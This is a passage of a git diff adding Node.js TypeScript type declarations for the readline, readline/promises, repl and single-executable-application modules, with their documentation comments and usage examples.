or a key sequence identified + * by `key` to the `output`. The `key` argument is supported only if `output` is + * a `TTY` text terminal. See `TTY keybindings` for a list of key + * combinations. + * + * If `key` is specified, `data` is ignored. + * + * When called, `rl.write()` will resume the `input` stream if it has been + * paused. + * + * If the `Interface` was created with `output` set to `null` or `undefined` the `data` and `key` are not written. + * + * ```js + * rl.write('Delete this!'); + * // Simulate Ctrl+U to delete the line written previously + * rl.write(null, { ctrl: true, name: 'u' }); + * ``` + * + * The `rl.write()` method will write the data to the `readline` `Interface`'s `input` _as if it were provided by the user_. + * @since v0.1.98 + */ + write(data: string | Buffer, key?: Key): void; + write(data: undefined | null | string | Buffer, key: Key): void; + /** + * Returns the real position of the cursor in relation to the input + * prompt + string. Long input (wrapping) strings, as well as multiple + * line prompts are included in the calculations. + * @since v13.5.0, v12.16.0 + */ + getCursorPos(): CursorPos; + /** + * events.EventEmitter + * 1. close + * 2. line + * 3. pause + * 4. resume + * 5. SIGCONT + * 6. SIGINT + * 7. SIGTSTP + * 8. history + */ + addListener(event: string, listener: (...args: any[]) => void): this; + addListener(event: "close", listener: () => void): this; + addListener(event: "line", listener: (input: string) => void): this; + addListener(event: "pause", listener: () => void): this; + addListener(event: "resume", listener: () => void): this; + addListener(event: "SIGCONT", listener: () => void): this; + addListener(event: "SIGINT", listener: () => void): this; + addListener(event: "SIGTSTP", listener: () => void): this; + addListener(event: "history", listener: (history: string[]) => void): this; + emit(event: string | symbol, ...args: any[]): boolean; + emit(event: "close"): boolean; + emit(event: "line", input: string): boolean; + emit(event: "pause"): boolean; + emit(event: "resume"): boolean; + emit(event: "SIGCONT"): boolean; + emit(event: "SIGINT"): boolean; + emit(event: "SIGTSTP"): boolean; + emit(event: "history", history: string[]): boolean; + on(event: string, listener: (...args: any[]) => void): this; + on(event: "close", listener: () => void): this; + on(event: "line", listener: (input: string) => void): this; + on(event: "pause", listener: () => void): this; + on(event: "resume", listener: () => void): this; + on(event: "SIGCONT", listener: () => void): this; + on(event: "SIGINT", listener: () => void): this; + on(event: "SIGTSTP", listener: () => void): this; + on(event: "history", listener: (history: string[]) => void): this; + once(event: string, listener: (...args: any[]) => void): this; + once(event: "close", listener: () => void): this; + once(event: "line", listener: (input: string) => void): this; + once(event: "pause", listener: () => void): this; + once(event: "resume", listener: () => void): this; + once(event: "SIGCONT", listener: () => void): this; + once(event: "SIGINT", listener: () => void): this; + once(event: "SIGTSTP", listener: () => void): this; + once(event: "history", listener: (history: string[]) => void): this; + prependListener(event: string, listener: (...args: any[]) => void): this; + prependListener(event: "close", listener: () => void): this; + prependListener(event: "line", listener: (input: string) => void): this; + prependListener(event: "pause", listener: () => void): this; + prependListener(event: "resume", listener: () => void): this; + prependListener(event: "SIGCONT", listener: () => void): this; + prependListener(event: "SIGINT", listener: () => void): this; + prependListener(event: "SIGTSTP", listener: () => void): this; + prependListener(event: "history", listener: (history: string[]) => void): this; + prependOnceListener(event: string, listener: (...args: any[]) => void): this; + prependOnceListener(event: "close", listener: () => void): this; + prependOnceListener(event: "line", listener: (input: string) => void): this; + prependOnceListener(event: "pause", listener: () => void): this; + prependOnceListener(event: "resume", listener: () => void): this; + prependOnceListener(event: "SIGCONT", listener: () => void): this; + prependOnceListener(event: "SIGINT", listener: () => void): this; + prependOnceListener(event: "SIGTSTP", listener: () => void): this; + prependOnceListener(event: "history", listener: (history: string[]) => void): this; + [Symbol.asyncIterator](): AsyncIterableIterator; + } + export type ReadLine = Interface; // type forwarded for backwards compatibility + export type Completer = (line: string) => CompleterResult; + export type AsyncCompleter = ( + line: string, + callback: (err?: null | Error, result?: CompleterResult) => void, + ) => void; + export type CompleterResult = [string[], string]; + export interface ReadLineOptions { + input: NodeJS.ReadableStream; + output?: NodeJS.WritableStream | undefined; + completer?: Completer | AsyncCompleter | undefined; + terminal?: boolean | undefined; + /** + * Initial list of history lines. This option makes sense + * only if `terminal` is set to `true` by the user or by an internal `output` + * check, otherwise the history caching mechanism is not initialized at all. + * @default [] + */ + history?: string[] | undefined; + historySize?: number | undefined; + prompt?: string | undefined; + crlfDelay?: number | undefined; + /** + * If `true`, when a new input line added + * to the history list duplicates an older one, this removes the older line + * from the list. + * @default false + */ + removeHistoryDuplicates?: boolean | undefined; + escapeCodeTimeout?: number | undefined; + tabSize?: number | undefined; + } + /** + * The `readline.createInterface()` method creates a new `readline.Interface` instance. + * + * ```js + * import readline from 'node:readline'; + * const rl = readline.createInterface({ + * input: process.stdin, + * output: process.stdout, + * }); + * ``` + * + * Once the `readline.Interface` instance is created, the most common case is to + * listen for the `'line'` event: + * + * ```js + * rl.on('line', (line) => { + * console.log(`Received: ${line}`); + * }); + * ``` + * + * If `terminal` is `true` for this instance then the `output` stream will get + * the best compatibility if it defines an `output.columns` property and emits + * a `'resize'` event on the `output` if or when the columns ever change + * (`process.stdout` does this automatically when it is a TTY). + * + * When creating a `readline.Interface` using `stdin` as input, the program + * will not terminate until it receives an [EOF character](https://en.wikipedia.org/wiki/End-of-file#EOF_character). To exit without + * waiting for user input, call `process.stdin.unref()`. + * @since v0.1.98 + */ + export function createInterface( + input: NodeJS.ReadableStream, + output?: NodeJS.WritableStream, + completer?: Completer | AsyncCompleter, + terminal?: boolean, + ): Interface; + export function createInterface(options: ReadLineOptions): Interface; + /** + * The `readline.emitKeypressEvents()` method causes the given `Readable` stream to begin emitting `'keypress'` events corresponding to received input. + * + * Optionally, `interface` specifies a `readline.Interface` instance for which + * autocompletion is disabled when copy-pasted input is detected. + * + * If the `stream` is a `TTY`, then it must be in raw mode. + * + * This is automatically called by any readline instance on its `input` if the `input` is a terminal. Closing the `readline` instance does not stop + * the `input` from emitting `'keypress'` events. + * + * ```js + * readline.emitKeypressEvents(process.stdin); + * if (process.stdin.isTTY) + * process.stdin.setRawMode(true); + * ``` + * + * ## Example: Tiny CLI + * + * The following example illustrates the use of `readline.Interface` class to + * implement a small command-line interface: + * + * ```js + * import readline from 'node:readline'; + * const rl = readline.createInterface({ + * input: process.stdin, + * output: process.stdout, + * prompt: 'OHAI> ', + * }); + * + * rl.prompt(); + * + * rl.on('line', (line) => { + * switch (line.trim()) { + * case 'hello': + * console.log('world!'); + * break; + * default: + * console.log(`Say what? I might have heard '${line.trim()}'`); + * break; + * } + * rl.prompt(); + * }).on('close', () => { + * console.log('Have a great day!'); + * process.exit(0); + * }); + * ``` + * + * ## Example: Read file stream line-by-Line + * + * A common use case for `readline` is to consume an input file one line at a + * time. The easiest way to do so is leveraging the `fs.ReadStream` API as + * well as a `for await...of` loop: + * + * ```js + * import fs from 'node:fs'; + * import readline from 'node:readline'; + * + * async function processLineByLine() { + * const fileStream = fs.createReadStream('input.txt'); + * + * const rl = readline.createInterface({ + * input: fileStream, + * crlfDelay: Infinity, + * }); + * // Note: we use the crlfDelay option to recognize all instances of CR LF + * // ('\r\n') in input.txt as a single line break. + * + * for await (const line of rl) { + * // Each line in input.txt will be successively available here as `line`. + * console.log(`Line from file: ${line}`); + * } + * } + * + * processLineByLine(); + * ``` + * + * Alternatively, one could use the `'line'` event: + * + * ```js + * import fs from 'node:fs'; + * import readline from 'node:readline'; + * + * const rl = readline.createInterface({ + * input: fs.createReadStream('sample.txt'), + * crlfDelay: Infinity, + * }); + * + * rl.on('line', (line) => { + * console.log(`Line from file: ${line}`); + * }); + * ``` + * + * Currently, `for await...of` loop can be a bit slower. If `async` / `await` flow and speed are both essential, a mixed approach can be applied: + * + * ```js + * import { once } from 'node:events'; + * import { createReadStream } from 'node:fs'; + * import { createInterface } from 'node:readline'; + * + * (async function processLineByLine() { + * try { + * const rl = createInterface({ + * input: createReadStream('big-file.txt'), + * crlfDelay: Infinity, + * }); + * + * rl.on('line', (line) => { + * // Process the line. + * }); + * + * await once(rl, 'close'); + * + * console.log('File processed.'); + * } catch (err) { + * console.error(err); + * } + * })(); + * ``` + * @since v0.7.7 + */ + export function emitKeypressEvents(stream: NodeJS.ReadableStream, readlineInterface?: Interface): void; + export type Direction = -1 | 0 | 1; + export interface CursorPos { + rows: number; + cols: number; + } + /** + * The `readline.clearLine()` method clears current line of given [TTY](https://nodejs.org/docs/latest-v22.x/api/tty.html) stream + * in a specified direction identified by `dir`. + * @since v0.7.7 + * @param callback Invoked once the operation completes. + * @return `false` if `stream` wishes for the calling code to wait for the `'drain'` event to be emitted before continuing to write additional data; otherwise `true`. + */ + export function clearLine(stream: NodeJS.WritableStream, dir: Direction, callback?: () => void): boolean; + /** + * The `readline.clearScreenDown()` method clears the given [TTY](https://nodejs.org/docs/latest-v22.x/api/tty.html) stream from + * the current position of the cursor down. + * @since v0.7.7 + * @param callback Invoked once the operation completes. + * @return `false` if `stream` wishes for the calling code to wait for the `'drain'` event to be emitted before continuing to write additional data; otherwise `true`. + */ + export function clearScreenDown(stream: NodeJS.WritableStream, callback?: () => void): boolean; + /** + * The `readline.cursorTo()` method moves cursor to the specified position in a + * given [TTY](https://nodejs.org/docs/latest-v22.x/api/tty.html) `stream`. + * @since v0.7.7 + * @param callback Invoked once the operation completes. + * @return `false` if `stream` wishes for the calling code to wait for the `'drain'` event to be emitted before continuing to write additional data; otherwise `true`. + */ + export function cursorTo(stream: NodeJS.WritableStream, x: number, y?: number, callback?: () => void): boolean; + /** + * The `readline.moveCursor()` method moves the cursor _relative_ to its current + * position in a given [TTY](https://nodejs.org/docs/latest-v22.x/api/tty.html) `stream`. + * @since v0.7.7 + * @param callback Invoked once the operation completes. + * @return `false` if `stream` wishes for the calling code to wait for the `'drain'` event to be emitted before continuing to write additional data; otherwise `true`. + */ + export function moveCursor(stream: NodeJS.WritableStream, dx: number, dy: number, callback?: () => void): boolean; +} +declare module "node:readline" { + export * from "readline"; +} diff --git a/node_modules/@types/node/readline/promises.d.ts b/node_modules/@types/node/readline/promises.d.ts new file mode 100644 index 000000000000..4d4310656ed4 --- /dev/null +++ b/node_modules/@types/node/readline/promises.d.ts @@ -0,0 +1,150 @@ +/** + * @since v17.0.0 + * @experimental + */ +declare module "readline/promises" { + import { AsyncCompleter, Completer, Direction, Interface as _Interface, ReadLineOptions } from "node:readline"; + import { Abortable } from "node:events"; + /** + * Instances of the `readlinePromises.Interface` class are constructed using the `readlinePromises.createInterface()` method. Every instance is associated with a + * single `input` `Readable` stream and a single `output` `Writable` stream. + * The `output` stream is used to print prompts for user input that arrives on, + * and is read from, the `input` stream. + * @since v17.0.0 + */ + class Interface extends _Interface { + /** + * The `rl.question()` method displays the `query` by writing it to the `output`, + * waits for user input to be provided on `input`, then invokes the `callback` function passing the provided input as the first argument. + * + * When called, `rl.question()` will resume the `input` stream if it has been + * paused. + * + * If the `Interface` was created with `output` set to `null` or `undefined` the `query` is not written. + * + * If the question is called after `rl.close()`, it returns a rejected promise. + * + * Example usage: + * + * ```js + * const answer = await rl.question('What is your favorite food? '); + * console.log(`Oh, so your favorite food is ${answer}`); + * ``` + * + * Using an `AbortSignal` to cancel a question. + * + * ```js + * const signal = AbortSignal.timeout(10_000); + * + * signal.addEventListener('abort', () => { + * console.log('The food question timed out'); + * }, { once: true }); + * + * const answer = await rl.question('What is your favorite food? ', { signal }); + * console.log(`Oh, so your favorite food is ${answer}`); + * ``` + * @since v17.0.0 + * @param query A statement or query to write to `output`, prepended to the prompt. + * @return A promise that is fulfilled with the user's input in response to the `query`. + */ + question(query: string): Promise; + question(query: string, options: Abortable): Promise; + } + /** + * @since v17.0.0 + */ + class Readline { + /** + * @param stream A TTY stream. + */ + constructor( + stream: NodeJS.WritableStream, + options?: { + autoCommit?: boolean; + }, + ); + /** + * The `rl.clearLine()` method adds to the internal list of pending action an + * action that clears current line of the associated `stream` in a specified + * direction identified by `dir`. + * Call `rl.commit()` to see the effect of this method, unless `autoCommit: true` was passed to the constructor. + * @since v17.0.0 + * @return this + */ + clearLine(dir: Direction): this; + /** + * The `rl.clearScreenDown()` method adds to the internal list of pending action an + * action that clears the associated stream from the current position of the + * cursor down. + * Call `rl.commit()` to see the effect of this method, unless `autoCommit: true` was passed to the constructor. + * @since v17.0.0 + * @return this + */ + clearScreenDown(): this; + /** + * The `rl.commit()` method sends all the pending actions to the associated `stream` and clears the internal list of pending actions. + * @since v17.0.0 + */ + commit(): Promise; + /** + * The `rl.cursorTo()` method adds to the internal list of pending action an action + * that moves cursor to the specified position in the associated `stream`. + * Call `rl.commit()` to see the effect of this method, unless `autoCommit: true` was passed to the constructor. + * @since v17.0.0 + * @return this + */ + cursorTo(x: number, y?: number): this; + /** + * The `rl.moveCursor()` method adds to the internal list of pending action an + * action that moves the cursor _relative_ to its current position in the + * associated `stream`. + * Call `rl.commit()` to see the effect of this method, unless `autoCommit: true` was passed to the constructor. + * @since v17.0.0 + * @return this + */ + moveCursor(dx: number, dy: number): this; + /** + * The `rl.rollback` methods clears the internal list of pending actions without + * sending it to the associated `stream`. + * @since v17.0.0 + * @return this + */ + rollback(): this; + } + /** + * The `readlinePromises.createInterface()` method creates a new `readlinePromises.Interface` instance. + * + * ```js + * import readlinePromises from 'node:readline/promises'; + * const rl = readlinePromises.createInterface({ + * input: process.stdin, + * output: process.stdout, + * }); + * ``` + * + * Once the `readlinePromises.Interface` instance is created, the most common case + * is to listen for the `'line'` event: + * + * ```js + * rl.on('line', (line) => { + * console.log(`Received: ${line}`); + * }); + * ``` + * + * If `terminal` is `true` for this instance then the `output` stream will get + * the best compatibility if it defines an `output.columns` property and emits + * a `'resize'` event on the `output` if or when the columns ever change + * (`process.stdout` does this automatically when it is a TTY). + * @since v17.0.0 + */ + function createInterface( + input: NodeJS.ReadableStream, + output?: NodeJS.WritableStream, + completer?: Completer | AsyncCompleter, + terminal?: boolean, + ): Interface; + function createInterface(options: ReadLineOptions): Interface; +} +declare module "node:readline/promises" { + export * from "readline/promises"; +} diff --git a/node_modules/@types/node/repl.d.ts b/node_modules/@types/node/repl.d.ts new file mode 100644 index 000000000000..5ff046adaf05 --- /dev/null +++ b/node_modules/@types/node/repl.d.ts @@ -0,0 +1,430 @@ +/** + * The `node:repl` module provides a Read-Eval-Print-Loop (REPL) implementation + * that is available both as a standalone program or includible in other + * applications. It can be accessed using: + * + * ```js + * import repl from 'node:repl'; + * ``` + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/repl.js) + */ +declare module "repl" { + import { AsyncCompleter, Completer, Interface } from "node:readline"; + import { Context } from "node:vm"; + import { InspectOptions } from "node:util"; + interface ReplOptions { + /** + * The input prompt to display. + * @default "> " + */ + prompt?: string | undefined; + /** + * The `Readable` stream from which REPL input will be read. + * @default process.stdin + */ + input?: NodeJS.ReadableStream | undefined; + /** + * The `Writable` stream to which REPL output will be written. + * @default process.stdout + */ + output?: NodeJS.WritableStream | undefined; + /** + * If `true`, specifies that the output should be treated as a TTY terminal, and have + * ANSI/VT100 escape codes written to it. + * Default: checking the value of the `isTTY` property on the output stream upon + * instantiation. + */ + terminal?: boolean | undefined; + /** + * The function to be used when evaluating each given line of input. + * Default: an async wrapper for the JavaScript `eval()` function. An `eval` function can + * error with `repl.Recoverable` to indicate the input was incomplete and prompt for + * additional lines. + * + * @see https://nodejs.org/dist/latest-v22.x/docs/api/repl.html#repl_default_evaluation + * @see https://nodejs.org/dist/latest-v22.x/docs/api/repl.html#repl_custom_evaluation_functions + */ + eval?: REPLEval | undefined; + /** + * Defines if the repl prints output previews or not. + * @default `true` Always `false` in case `terminal` is falsy. + */ + preview?: boolean | undefined; + /** + * If `true`, specifies that the default `writer` function should include ANSI color + * styling to REPL output. If a custom `writer` function is provided then this has no + * effect. + * @default the REPL instance's `terminal` value + */ + useColors?: boolean | undefined; + /** + * If `true`, specifies that the default evaluation function will use the JavaScript + * `global` as the context as opposed to creating a new separate context for the REPL + * instance. The node CLI REPL sets this value to `true`. + * @default false + */ + useGlobal?: boolean | undefined; + /** + * If `true`, specifies that the default writer will not output the return value of a + * command if it evaluates to `undefined`. + * @default false + */ + ignoreUndefined?: boolean | undefined; + /** + * The function to invoke to format the output of each command before writing to `output`. + * @default a wrapper for `util.inspect` + * + * @see https://nodejs.org/dist/latest-v22.x/docs/api/repl.html#repl_customizing_repl_output + */ + writer?: REPLWriter | undefined; + /** + * An optional function used for custom Tab auto completion. + * + * @see https://nodejs.org/dist/latest-v22.x/docs/api/readline.html#readline_use_of_the_completer_function + */ + completer?: Completer | AsyncCompleter | undefined; + /** + * A flag that specifies whether the default evaluator executes all JavaScript commands in + * strict mode or default (sloppy) mode. + * Accepted values are: + * - `repl.REPL_MODE_SLOPPY` - evaluates expressions in sloppy mode. + * - `repl.REPL_MODE_STRICT` - evaluates expressions in strict mode. This is equivalent to + * prefacing every repl statement with `'use strict'`. + */ + replMode?: typeof REPL_MODE_SLOPPY | typeof REPL_MODE_STRICT | undefined; + /** + * Stop evaluating the current piece of code when `SIGINT` is received, i.e. `Ctrl+C` is + * pressed. This cannot be used together with a custom `eval` function. + * @default false + */ + breakEvalOnSigint?: boolean | undefined; + } + type REPLEval = ( + this: REPLServer, + evalCmd: string, + context: Context, + file: string, + cb: (err: Error | null, result: any) => void, + ) => void; + type REPLWriter = (this: REPLServer, obj: any) => string; + /** + * This is the default "writer" value, if none is passed in the REPL options, + * and it can be overridden by custom print functions. + */ + const writer: REPLWriter & { + options: InspectOptions; + }; + type REPLCommandAction = (this: REPLServer, text: string) => void; + interface REPLCommand { + /** + * Help text to be displayed when `.help` is entered. + */ + help?: string | undefined; + /** + * The function to execute, optionally accepting a single string argument. + */ + action: REPLCommandAction; + } + /** + * Instances of `repl.REPLServer` are created using the {@link start} method + * or directly using the JavaScript `new` keyword. + * + * ```js + * import repl from 'node:repl'; + * + * const options = { useColors: true }; + * + * const firstInstance = repl.start(options); + * const secondInstance = new repl.REPLServer(options); + * ``` + * @since v0.1.91 + */ + class REPLServer extends Interface { + /** + * The `vm.Context` provided to the `eval` function to be used for JavaScript + * evaluation. + */ + readonly context: Context; + /** + * @deprecated since v14.3.0 - Use `input` instead. + */ + readonly inputStream: NodeJS.ReadableStream; + /** + * @deprecated since v14.3.0 - Use `output` instead. + */ + readonly outputStream: NodeJS.WritableStream; + /** + * The `Readable` stream from which REPL input will be read. + */ + readonly input: NodeJS.ReadableStream; + /** + * The `Writable` stream to which REPL output will be written. + */ + readonly output: NodeJS.WritableStream; + /** + * The commands registered via `replServer.defineCommand()`. + */ + readonly commands: NodeJS.ReadOnlyDict; + /** + * A value indicating whether the REPL is currently in "editor mode". + * + * @see https://nodejs.org/dist/latest-v22.x/docs/api/repl.html#repl_commands_and_special_keys + */ + readonly editorMode: boolean; + /** + * A value indicating whether the `_` variable has been assigned. + * + * @see https://nodejs.org/dist/latest-v22.x/docs/api/repl.html#repl_assignment_of_the_underscore_variable + */ + readonly underscoreAssigned: boolean; + /** + * The last evaluation result from the REPL (assigned to the `_` variable inside of the REPL). + * + * @see https://nodejs.org/dist/latest-v22.x/docs/api/repl.html#repl_assignment_of_the_underscore_variable + */ + readonly last: any; + /** + * A value indicating whether the `_error` variable has been assigned. + * + * @since v9.8.0 + * @see https://nodejs.org/dist/latest-v22.x/docs/api/repl.html#repl_assignment_of_the_underscore_variable + */ + readonly underscoreErrAssigned: boolean; + /** + * The last error raised inside the REPL (assigned to the `_error` variable inside of the REPL). + * + * @since v9.8.0 + * @see https://nodejs.org/dist/latest-v22.x/docs/api/repl.html#repl_assignment_of_the_underscore_variable + */ + readonly lastError: any; + /** + * Specified in the REPL options, this is the function to be used when evaluating each + * given line of input. If not specified in the REPL options, this is an async wrapper + * for the JavaScript `eval()` function. + */ + readonly eval: REPLEval; + /** + * Specified in the REPL options, this is a value indicating whether the default + * `writer` function should include ANSI color styling to REPL output. + */ + readonly useColors: boolean; + /** + * Specified in the REPL options, this is a value indicating whether the default `eval` + * function will use the JavaScript `global` as the context as opposed to creating a new + * separate context for the REPL instance. + */ + readonly useGlobal: boolean; + /** + * Specified in the REPL options, this is a value indicating whether the default `writer` + * function should output the result of a command if it evaluates to `undefined`. + */ + readonly ignoreUndefined: boolean; + /** + * Specified in the REPL options, this is the function to invoke to format the output of + * each command before writing to `outputStream`. If not specified in the REPL options, + * this will be a wrapper for `util.inspect`. + */ + readonly writer: REPLWriter; + /** + * Specified in the REPL options, this is the function to use for custom Tab auto-completion. + */ + readonly completer: Completer | AsyncCompleter; + /** + * Specified in the REPL options, this is a flag that specifies whether the default `eval` + * function should execute all JavaScript commands in strict mode or default (sloppy) mode. + * Possible values are: + * - `repl.REPL_MODE_SLOPPY` - evaluates expressions in sloppy mode. + * - `repl.REPL_MODE_STRICT` - evaluates expressions in strict mode. This is equivalent to + * prefacing every repl statement with `'use strict'`. + */ + readonly replMode: typeof REPL_MODE_SLOPPY | typeof REPL_MODE_STRICT; + /** + * NOTE: According to the documentation: + * + * > Instances of `repl.REPLServer` are created using the `repl.start()` method and + * > _should not_ be created directly using the JavaScript `new` keyword. + * + * `REPLServer` cannot be subclassed due to implementation specifics in NodeJS. + * + * @see https://nodejs.org/dist/latest-v22.x/docs/api/repl.html#repl_class_replserver + */ + private constructor(); + /** + * The `replServer.defineCommand()` method is used to add new `.`\-prefixed commands + * to the REPL instance. Such commands are invoked by typing a `.` followed by the `keyword`. The `cmd` is either a `Function` or an `Object` with the following + * properties: + * + * The following example shows two new commands added to the REPL instance: + * + * ```js + * import repl from 'node:repl'; + * + * const replServer = repl.start({ prompt: '> ' }); + * replServer.defineCommand('sayhello', { + * help: 'Say hello', + * action(name) { + * this.clearBufferedCommand(); + * console.log(`Hello, ${name}!`); + * this.displayPrompt(); + * }, + * }); + * replServer.defineCommand('saybye', function saybye() { + * console.log('Goodbye!'); + * this.close(); + * }); + * ``` + * + * The new commands can then be used from within the REPL instance: + * + * ```console + * > .sayhello Node.js User + * Hello, Node.js User! + * > .saybye + * Goodbye! + * ``` + * @since v0.3.0 + * @param keyword The command keyword (_without_ a leading `.` character). + * @param cmd The function to invoke when the command is processed. + */ + defineCommand(keyword: string, cmd: REPLCommandAction | REPLCommand): void; + /** + * The `replServer.displayPrompt()` method readies the REPL instance for input + * from the user, printing the configured `prompt` to a new line in the `output` and resuming the `input` to accept new input. + * + * When multi-line input is being entered, an ellipsis is printed rather than the + * 'prompt'. + * + * When `preserveCursor` is `true`, the cursor placement will not be reset to `0`. + * + * The `replServer.displayPrompt` method is primarily intended to be called from + * within the action function for commands registered using the `replServer.defineCommand()` method. + * @since v0.1.91 + */ + displayPrompt(preserveCursor?: boolean): void; + /** + * The `replServer.clearBufferedCommand()` method clears any command that has been + * buffered but not yet executed. This method is primarily intended to be + * called from within the action function for commands registered using the `replServer.defineCommand()` method. + * @since v9.0.0 + */ + clearBufferedCommand(): void; + /** + * Initializes a history log file for the REPL instance. When executing the + * Node.js binary and using the command-line REPL, a history file is initialized + * by default. However, this is not the case when creating a REPL + * programmatically. Use this method to initialize a history log file when working + * with REPL instances programmatically. + * @since v11.10.0 + * @param historyPath the path to the history file + * @param callback called when history writes are ready or upon error + */ + setupHistory(path: string, callback: (err: Error | null, repl: this) => void): void; + /** + * events.EventEmitter + * 1. close - inherited from `readline.Interface` + * 2. line - inherited from `readline.Interface` + * 3. pause - inherited from `readline.Interface` + * 4. resume - inherited from `readline.Interface` + * 5. SIGCONT - inherited from `readline.Interface` + * 6. SIGINT - inherited from `readline.Interface` + * 7. SIGTSTP - inherited from `readline.Interface` + * 8. exit + * 9. reset + */ + addListener(event: string, listener: (...args: any[]) => void): this; + addListener(event: "close", listener: () => void): this; + addListener(event: "line", listener: (input: string) => void): this; + addListener(event: "pause", listener: () => void): this; + addListener(event: "resume", listener: () => void): this; + addListener(event: "SIGCONT", listener: () => void): this; + addListener(event: "SIGINT", listener: () => void): this; + addListener(event: "SIGTSTP", listener: () => void): this; + addListener(event: "exit", listener: () => void): this; + addListener(event: "reset", listener: (context: Context) => void): this; + emit(event: string | symbol, ...args: any[]): boolean; + emit(event: "close"): boolean; + emit(event: "line", input: string): boolean; + emit(event: "pause"): boolean; + emit(event: "resume"): boolean; + emit(event: "SIGCONT"): boolean; + emit(event: "SIGINT"): boolean; + emit(event: "SIGTSTP"): boolean; + emit(event: "exit"): boolean; + emit(event: "reset", context: Context): boolean; + on(event: string, listener: (...args: any[]) => void): this; + on(event: "close", listener: () => void): this; + on(event: "line", listener: (input: string) => void): this; + on(event: "pause", listener: () => void): this; + on(event: "resume", listener: () => void): this; + on(event: "SIGCONT", listener: () => void): this; + on(event: "SIGINT", listener: () => void): this; + on(event: "SIGTSTP", listener: () => void): this; + on(event: "exit", listener: () => void): this; + on(event: "reset", listener: (context: Context) => void): this; + once(event: string, listener: (...args: any[]) => void): this; + once(event: "close", listener: () => void): this; + once(event: "line", listener: (input: string) => void): this; + once(event: "pause", listener: () => void): this; + once(event: "resume", listener: () => void): this; + once(event: "SIGCONT", listener: () => void): this; + once(event: "SIGINT", listener: () => void): this; + once(event: "SIGTSTP", listener: () => void): this; + once(event: "exit", listener: () => void): this; + once(event: "reset", listener: (context: Context) => void): this; + prependListener(event: string, listener: (...args: any[]) => void): this; + prependListener(event: "close", listener: () => void): this; + prependListener(event: "line", listener: (input: string) => void): this; + prependListener(event: "pause", listener: () => void): this; + prependListener(event: "resume", listener: () => void): this; + prependListener(event: "SIGCONT", listener: () => void): this; + prependListener(event: "SIGINT", listener: () => void): this; + prependListener(event: "SIGTSTP", listener: () => void): this; + prependListener(event: "exit", listener: () => void): this; + prependListener(event: "reset", listener: (context: Context) => void): this; + prependOnceListener(event: string, listener: (...args: any[]) => void): this; + prependOnceListener(event: "close", listener: () => void): this; + prependOnceListener(event: "line", listener: (input: string) => void): this; + prependOnceListener(event: "pause", listener: () => void): this; + prependOnceListener(event: "resume", listener: () => void): this; + prependOnceListener(event: "SIGCONT", listener: () => void): this; + prependOnceListener(event: "SIGINT", listener: () => void): this; + prependOnceListener(event: "SIGTSTP", listener: () => void): this; + prependOnceListener(event: "exit", listener: () => void): this; + prependOnceListener(event: "reset", listener: (context: Context) => void): this; + } + /** + * A flag passed in the REPL options. Evaluates expressions in sloppy mode. + */ + const REPL_MODE_SLOPPY: unique symbol; + /** + * A flag passed in the REPL options. Evaluates expressions in strict mode. + * This is equivalent to prefacing every repl statement with `'use strict'`. + */ + const REPL_MODE_STRICT: unique symbol; + /** + * The `repl.start()` method creates and starts a {@link REPLServer} instance. + * + * If `options` is a string, then it specifies the input prompt: + * + * ```js + * import repl from 'node:repl'; + * + * // a Unix style prompt + * repl.start('$ '); + * ``` + * @since v0.1.91 + */ + function start(options?: string | ReplOptions): REPLServer; + /** + * Indicates a recoverable error that a `REPLServer` can use to support multi-line input. + * + * @see https://nodejs.org/dist/latest-v22.x/docs/api/repl.html#repl_recoverable_errors + */ + class Recoverable extends SyntaxError { + err: Error; + constructor(err: Error); + } +} +declare module "node:repl" { + export * from "repl"; +} diff --git a/node_modules/@types/node/sea.d.ts b/node_modules/@types/node/sea.d.ts new file mode 100644 index 000000000000..0bedc625ef64 --- /dev/null +++ b/node_modules/@types/node/sea.d.ts @@ -0,0 +1,153 @@ +/** + * This feature allows the distribution of a Node.js application conveniently to a + * system that does not have Node.js installed. + * + * Node.js supports the creation of [single executable applications](https://github.com/nodejs/single-executable) by allowing + * the injection of a blob prepared by Node.js, which can contain a bundled script, + * into the `node` binary. During start up, the program checks if anything has been + * injected. If the blob is found, it executes the script in the blob. Otherwise + * Node.js operates as it normally does. + * + * The single executable application feature currently only supports running a + * single embedded script using the `CommonJS` module system. + * + * Users can create a single executable application from their bundled script + * with the `node` binary itself and any tool which can inject resources into the + * binary. + * + * Here are the steps for creating a single executable application using one such + * tool, [postject](https://github.com/nodejs/postject): + * + * 1. Create a JavaScript file: + * ```bash + * echo 'console.log(`Hello, ${process.argv[2]}!`);' > hello.js + * ``` + * 2. Create a configuration file building a blob that can be injected into the + * single executable application (see `Generating single executable preparation blobs` for details): + * ```bash + * echo '{ "main": "hello.js", "output": "sea-prep.blob" }' > sea-config.json + * ``` + * 3. Generate the blob to be injected: + * ```bash + * node --experimental-sea-config sea-config.json + * ``` + * 4. Create a copy of the `node` executable and name it according to your needs: + * * On systems other than Windows: + * ```bash + * cp $(command -v node) hello + * ``` + * * On Windows: + * ```text + * node -e "require('fs').copyFileSync(process.execPath, 'hello.exe')" + * ``` + * The `.exe` extension is necessary. + * 5. Remove the signature of the binary (macOS and Windows only): + * * On macOS: + * ```bash + * codesign --remove-signature hello + * ``` + * * On Windows (optional): + * [signtool](https://learn.microsoft.com/en-us/windows/win32/seccrypto/signtool) can be used from the installed [Windows SDK](https://developer.microsoft.com/en-us/windows/downloads/windows-sdk/). + * If this step is + * skipped, ignore any signature-related warning from postject. + * ```powershell + * signtool remove /s hello.exe + * ``` + * 6. Inject the blob into the copied binary by running `postject` with + * the following options: + * * `hello` / `hello.exe` \- The name of the copy of the `node` executable + * created in step 4. + * * `NODE_SEA_BLOB` \- The name of the resource / note / section in the binary + * where the contents of the blob will be stored. + * * `sea-prep.blob` \- The name of the blob created in step 1. + * * `--sentinel-fuse NODE_SEA_FUSE_fce680ab2cc467b6e072b8b5df1996b2` \- The [fuse](https://www.electronjs.org/docs/latest/tutorial/fuses) used by the Node.js project to detect if a file has been + * injected. + * * `--macho-segment-name NODE_SEA` (only needed on macOS) - The name of the + * segment in the binary where the contents of the blob will be + * stored. + * To summarize, here is the required command for each platform: + * * On Linux: + * ```bash + * npx postject hello NODE_SEA_BLOB sea-prep.blob \ + * --sentinel-fuse NODE_SEA_FUSE_fce680ab2cc467b6e072b8b5df1996b2 + * ``` + * * On Windows - PowerShell: + * ```powershell + * npx postject hello.exe NODE_SEA_BLOB sea-prep.blob ` + * --sentinel-fuse NODE_SEA_FUSE_fce680ab2cc467b6e072b8b5df1996b2 + * ``` + * * On Windows - Command Prompt: + * ```text + * npx postject hello.exe 